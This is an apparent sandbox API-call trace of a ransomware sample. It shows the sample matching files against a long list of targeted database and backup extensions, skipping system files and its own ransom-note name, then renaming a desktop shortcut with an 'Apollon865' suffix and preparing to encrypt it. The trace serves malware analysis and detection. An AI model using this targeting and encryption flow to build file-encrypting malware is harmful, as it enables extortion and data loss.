	[0046.861] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1
	[0046.861] lstrlenW (lpString="dsn") returned 3
	[0046.861] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1
	[0046.861] lstrlenW (lpString="dtsx") returned 4
	[0046.861] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1
	[0046.861] lstrlenW (lpString="dxl") returned 3
	[0046.861] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1
	[0046.861] lstrlenW (lpString="eco") returned 3
	[0046.861] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1
	[0046.861] lstrlenW (lpString="ecx") returned 3
	[0046.861] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1
	[0046.861] lstrlenW (lpString="edb") returned 3
	[0046.861] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1
	[0046.861] lstrlenW (lpString="epim") returned 4
	[0046.861] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1
	[0046.861] lstrlenW (lpString="fcd") returned 3
	[0046.861] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1
	[0046.861] lstrlenW (lpString="fdb") returned 3
	[0046.861] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1
	[0046.861] lstrlenW (lpString="fic") returned 3
	[0046.861] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1
	[0046.861] lstrlenW (lpString="flexolibrary") returned 12
	[0046.862] lstrcmpiW (lpString1="Reader X.lnk", lpString2="flexolibrary") returned 1
	[0046.862] lstrlenW (lpString="fm5") returned 3
	[0046.862] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1
	[0046.862] lstrlenW (lpString="fmp") returned 3
	[0046.862] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1
	[0046.862] lstrlenW (lpString="fmp12") returned 5
	[0046.862] lstrcmpiW (lpString1="X.lnk", lpString2="fmp12") returned 1
	[0046.862] lstrlenW (lpString="fmpsl") returned 5
	[0046.862] lstrcmpiW (lpString1="X.lnk", lpString2="fmpsl") returned 1
	[0046.862] lstrlenW (lpString="fol") returned 3
	[0046.862] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1
	[0046.862] lstrlenW (lpString="fp3") returned 3
	[0046.862] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1
	[0046.862] lstrlenW (lpString="fp4") returned 3
	[0046.862] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1
	[0046.862] lstrlenW (lpString="fp5") returned 3
	[0046.862] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1
	[0046.862] lstrlenW (lpString="fp7") returned 3
	[0046.862] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1
	[0046.862] lstrlenW (lpString="fpt") returned 3
	[0046.862] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1
	[0046.862] lstrlenW (lpString="frm") returned 3
	[0046.862] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1
	[0046.862] lstrlenW (lpString="gdb") returned 3
	[0046.862] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0046.862] lstrlenW (lpString="gdb") returned 3
	[0046.862] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0046.862] lstrlenW (lpString="grdb") returned 4
	[0046.862] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1
	[0046.862] lstrlenW (lpString="gwi") returned 3
	[0046.862] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1
	[0046.862] lstrlenW (lpString="hdb") returned 3
	[0046.862] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1
	[0046.862] lstrlenW (lpString="his") returned 3
	[0046.862] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1
	[0046.862] lstrlenW (lpString="ib") returned 2
	[0046.863] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1
	[0046.863] lstrlenW (lpString="idb") returned 3
	[0046.863] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1
	[0046.863] lstrlenW (lpString="ihx") returned 3
	[0046.863] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1
	[0046.863] lstrlenW (lpString="itdb") returned 4
	[0046.863] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1
	[0046.863] lstrlenW (lpString="itw") returned 3
	[0046.863] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1
	[0046.863] lstrlenW (lpString="jet") returned 3
	[0046.863] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1
	[0046.863] lstrlenW (lpString="jtx") returned 3
	[0046.863] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1
	[0046.863] lstrlenW (lpString="kdb") returned 3
	[0046.863] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1
	[0046.863] lstrlenW (lpString="kexi") returned 4
	[0046.863] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1
	[0046.863] lstrlenW (lpString="kexic") returned 5
	[0046.863] lstrcmpiW (lpString1="X.lnk", lpString2="kexic") returned 1
	[0046.863] lstrlenW (lpString="kexis") returned 5
	[0046.864] lstrcmpiW (lpString1="X.lnk", lpString2="kexis") returned 1
	[0046.864] lstrlenW (lpString="lgc") returned 3
	[0046.864] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1
	[0046.864] lstrlenW (lpString="lwx") returned 3
	[0046.864] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1
	[0046.864] lstrlenW (lpString="maf") returned 3
	[0046.864] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1
	[0046.864] lstrlenW (lpString="maq") returned 3
	[0046.864] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1
	[0046.864] lstrlenW (lpString="mar") returned 3
	[0046.864] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1
	[0046.864] lstrlenW (lpString="marshal") returned 7
	[0046.864] lstrcmpiW (lpString1="r X.lnk", lpString2="marshal") returned 1
	[0046.864] lstrlenW (lpString="mas") returned 3
	[0046.864] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1
	[0046.864] lstrlenW (lpString="mav") returned 3
	[0046.864] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1
	[0046.864] lstrlenW (lpString="maw") returned 3
	[0046.864] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1
	[0046.864] lstrlenW (lpString="mdbhtml") returned 7
	[0046.864] lstrcmpiW (lpString1="r X.lnk", lpString2="mdbhtml") returned 1
	[0046.864] lstrlenW (lpString="mdn") returned 3
	[0046.864] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1
	[0046.864] lstrlenW (lpString="mdt") returned 3
	[0046.864] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1
	[0046.864] lstrlenW (lpString="mfd") returned 3
	[0046.864] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1
	[0046.864] lstrlenW (lpString="mpd") returned 3
	[0046.864] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1
	[0046.864] lstrlenW (lpString="mrg") returned 3
	[0046.864] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1
	[0046.864] lstrlenW (lpString="mud") returned 3
	[0046.864] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1
	[0046.864] lstrlenW (lpString="mwb") returned 3
	[0046.865] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1
	[0046.865] lstrlenW (lpString="myd") returned 3
	[0046.865] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1
	[0046.865] lstrlenW (lpString="ndf") returned 3
	[0046.865] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1
	[0046.865] lstrlenW (lpString="nnt") returned 3
	[0046.865] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1
	[0046.865] lstrlenW (lpString="nrmlib") returned 6
	[0046.865] lstrcmpiW (lpString1=" X.lnk", lpString2="nrmlib") returned -1
	[0046.865] lstrlenW (lpString="ns2") returned 3
	[0046.865] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1
	[0046.865] lstrlenW (lpString="ns3") returned 3
	[0046.865] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1
	[0046.865] lstrlenW (lpString="ns4") returned 3
	[0046.865] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1
	[0046.865] lstrlenW (lpString="nsf") returned 3
	[0046.865] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1
	[0046.865] lstrlenW (lpString="nv") returned 2
	[0046.865] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1
	[0046.865] lstrlenW (lpString="nv2") returned 3
	[0046.865] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1
	[0046.865] lstrlenW (lpString="nwdb") returned 4
	[0046.865] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1
	[0046.865] lstrlenW (lpString="nyf") returned 3
	[0046.865] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1
	[0046.865] lstrlenW (lpString="odb") returned 3
	[0046.865] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0046.865] lstrlenW (lpString="odb") returned 3
	[0046.865] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0046.865] lstrlenW (lpString="oqy") returned 3
	[0046.865] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1
	[0046.865] lstrlenW (lpString="ora") returned 3
	[0046.865] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1
	[0046.865] lstrlenW (lpString="orx") returned 3
	[0046.865] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1
	[0046.866] lstrlenW (lpString="owc") returned 3
	[0046.866] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1
	[0046.866] lstrlenW (lpString="p96") returned 3
	[0046.866] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1
	[0046.866] lstrlenW (lpString="p97") returned 3
	[0046.866] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1
	[0046.866] lstrlenW (lpString="pan") returned 3
	[0046.866] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1
	[0046.866] lstrlenW (lpString="pdb") returned 3
	[0046.866] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1
	[0046.866] lstrlenW (lpString="pdm") returned 3
	[0046.866] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1
	[0046.866] lstrlenW (lpString="pnz") returned 3
	[0046.866] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1
	[0046.866] lstrlenW (lpString="qry") returned 3
	[0046.866] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1
	[0046.866] lstrlenW (lpString="qvd") returned 3
	[0046.866] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1
	[0046.866] lstrlenW (lpString="rbf") returned 3
	[0046.866] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1
	[0046.866] lstrlenW (lpString="rctd") returned 4
	[0046.866] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1
	[0046.866] lstrlenW (lpString="rod") returned 3
	[0046.866] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1
	[0046.866] lstrlenW (lpString="rodx") returned 4
	[0046.866] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1
	[0046.866] lstrlenW (lpString="rpd") returned 3
	[0046.866] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1
	[0046.866] lstrlenW (lpString="rsd") returned 3
	[0046.866] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1
	[0046.866] lstrlenW (lpString="sas7bdat") returned 8
	[0046.866] lstrcmpiW (lpString1="er X.lnk", lpString2="sas7bdat") returned -1
	[0046.866] lstrlenW (lpString="sbf") returned 3
	[0046.866] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1
	[0046.866] lstrlenW (lpString="scx") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1
	[0046.867] lstrlenW (lpString="sdb") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1
	[0046.867] lstrlenW (lpString="sdc") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1
	[0046.867] lstrlenW (lpString="sdf") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1
	[0046.867] lstrlenW (lpString="sis") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1
	[0046.867] lstrlenW (lpString="spq") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1
	[0046.867] lstrlenW (lpString="te") returned 2
	[0046.867] lstrcmpiW (lpString1="nk", lpString2="te") returned -1
	[0046.867] lstrlenW (lpString="teacher") returned 7
	[0046.867] lstrcmpiW (lpString1="r X.lnk", lpString2="teacher") returned -1
	[0046.867] lstrlenW (lpString="tmd") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1
	[0046.867] lstrlenW (lpString="tps") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1
	[0046.867] lstrlenW (lpString="trc") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0046.867] lstrlenW (lpString="trc") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0046.867] lstrlenW (lpString="trm") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1
	[0046.867] lstrlenW (lpString="udb") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1
	[0046.867] lstrlenW (lpString="udl") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1
	[0046.867] lstrlenW (lpString="usr") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1
	[0046.867] lstrlenW (lpString="v12") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1
	[0046.867] lstrlenW (lpString="vis") returned 3
	[0046.867] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1
	[0046.868] lstrlenW (lpString="vpd") returned 3
	[0046.868] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1
	[0046.868] lstrlenW (lpString="vvv") returned 3
	[0046.868] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1
	[0046.868] lstrlenW (lpString="wdb") returned 3
	[0046.868] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1
	[0046.868] lstrlenW (lpString="wmdb") returned 4
	[0046.868] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1
	[0046.868] lstrlenW (lpString="wrk") returned 3
	[0046.868] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1
	[0046.868] lstrlenW (lpString="xdb") returned 3
	[0046.868] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1
	[0046.868] lstrlenW (lpString="xld") returned 3
	[0046.868] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1
	[0046.868] lstrlenW (lpString="xmlff") returned 5
	[0046.868] lstrcmpiW (lpString1="X.lnk", lpString2="xmlff") returned -1
	[0046.868] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk.Apollon865") returned 53
	[0046.868] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), lpNewFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk.Apollon865" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk.apollon865"), dwFlags=0x1) returned 1
	[0046.869] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk.Apollon865" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0046.869] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=2025) returned 1
	[0046.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0046.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0046.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0046.869] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0046.870] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0046.870] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.870] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaf0, lpName=0x0) returned 0x160
	[0046.870] MapViewOfFile (hFileMappingObject=0x160, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaf0) returned 0x120000
	[0046.870] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0046.871] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0046.871] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0046.871] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0046.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.871] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0046.872] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.872] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0046.872] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.872] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0046.872] CloseHandle (hObject=0x160) returned 1
	[0046.872] CloseHandle (hObject=0x15c) returned 1
	[0046.873] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0046.873] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0046.873] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0046.873] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0046.873] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.873] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0046.873] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0046.873] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0046.873] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0046.873] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0046.873] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0046.873] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0046.873] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0046.874] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0046.874] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0046.874] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0046.874] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0046.874] lstrlenW (lpString="desktop.ini") returned 11
	[0046.874] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk") returned 42
	[0046.874] lstrcpyW (in: lpString1=0x119e638, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0046.874] lstrlenW (lpString="desktop.ini") returned 11
	[0046.874] lstrlenW (lpString="Apollon865") returned 10
	[0046.874] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0046.874] lstrlenW (lpString=".dll") returned 4
	[0046.874] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0046.874] lstrlenW (lpString=".lnk") returned 4
	[0046.874] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0046.874] lstrlenW (lpString=".ini") returned 4
	[0046.874] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0046.874] lstrlenW (lpString=".sys") returned 4
	[0046.874] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0046.874] lstrlenW (lpString="desktop.ini") returned 11
	[0046.874] lstrlenW (lpString="bak") returned 3
	[0046.874] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0046.874] lstrlenW (lpString="ba_") returned 3
	[0046.874] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0046.874] lstrlenW (lpString="dbb") returned 3
	[0046.874] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0046.874] lstrlenW (lpString="vmdk") returned 4
	[0046.874] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0046.874] lstrlenW (lpString="rar") returned 3
	[0046.874] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0046.874] lstrlenW (lpString="zip") returned 3
	[0046.874] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0046.874] lstrlenW (lpString="tgz") returned 3
	[0046.874] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0046.874] lstrlenW (lpString="vbox") returned 4
	[0046.875] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0046.875] lstrlenW (lpString="vdi") returned 3
	[0046.875] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0046.875] lstrlenW (lpString="vhd") returned 3
	[0046.875] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0046.875] lstrlenW (lpString="vhdx") returned 4
	[0046.875] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0046.875] lstrlenW (lpString="avhd") returned 4
	[0046.875] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0046.875] lstrlenW (lpString="db") returned 2
	[0046.875] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0046.875] lstrlenW (lpString="db2") returned 3
	[0046.875] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0046.875] lstrlenW (lpString="db3") returned 3
	[0046.875] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0046.875] lstrlenW (lpString="dbf") returned 3
	[0046.875] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0046.875] lstrlenW (lpString="mdf") returned 3
	[0046.875] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0046.875] lstrlenW (lpString="mdb") returned 3
	[0046.875] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0046.875] lstrlenW (lpString="sql") returned 3
	[0046.875] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0046.875] lstrlenW (lpString="sqlite") returned 6
	[0046.875] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0046.875] lstrlenW (lpString="sqlite3") returned 7
	[0046.875] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0046.875] lstrlenW (lpString="sqlitedb") returned 8
	[0046.875] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0046.875] lstrlenW (lpString="xml") returned 3
	[0046.875] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0046.875] lstrlenW (lpString="$er") returned 3
	[0046.875] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0046.875] lstrlenW (lpString="4dd") returned 3
	[0046.875] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0046.875] lstrlenW (lpString="4dl") returned 3
	[0046.876] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0046.876] lstrlenW (lpString="^^^") returned 3
	[0046.876] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0046.876] lstrlenW (lpString="abs") returned 3
	[0046.876] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0046.876] lstrlenW (lpString="abx") returned 3
	[0046.876] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0046.876] lstrlenW (lpString="accdb") returned 5
	[0046.876] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0046.876] lstrlenW (lpString="accdc") returned 5
	[0046.876] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0046.876] lstrlenW (lpString="accde") returned 5
	[0046.876] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0046.876] lstrlenW (lpString="accdr") returned 5
	[0046.876] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0046.876] lstrlenW (lpString="accdt") returned 5
	[0046.876] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0046.876] lstrlenW (lpString="accdw") returned 5
	[0046.876] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0046.876] lstrlenW (lpString="accft") returned 5
	[0046.876] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0046.876] lstrlenW (lpString="adb") returned 3
	[0046.876] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0046.876] lstrlenW (lpString="adb") returned 3
	[0046.876] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0046.876] lstrlenW (lpString="ade") returned 3
	[0046.876] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0046.876] lstrlenW (lpString="adf") returned 3
	[0046.876] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0046.876] lstrlenW (lpString="adn") returned 3
	[0046.876] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0046.876] lstrlenW (lpString="adp") returned 3
	[0046.876] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0046.876] lstrlenW (lpString="alf") returned 3
	[0046.876] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0046.877] lstrlenW (lpString="ask") returned 3
	[0046.877] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0046.877] lstrlenW (lpString="btr") returned 3
	[0046.877] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0046.877] lstrlenW (lpString="cat") returned 3
	[0046.877] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0046.877] lstrlenW (lpString="cdb") returned 3
	[0046.877] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0046.877] lstrlenW (lpString="ckp") returned 3
	[0046.877] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0046.877] lstrlenW (lpString="cma") returned 3
	[0046.877] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0046.877] lstrlenW (lpString="cpd") returned 3
	[0046.877] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0046.877] lstrlenW (lpString="dacpac") returned 6
	[0046.877] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0046.877] lstrlenW (lpString="dad") returned 3
	[0046.877] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0046.877] lstrlenW (lpString="dadiagrams") returned 10
	[0046.877] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0046.877] lstrlenW (lpString="daschema") returned 8
	[0046.877] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0046.877] lstrlenW (lpString="db-journal") returned 10
	[0046.877] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0046.877] lstrlenW (lpString="db-shm") returned 6
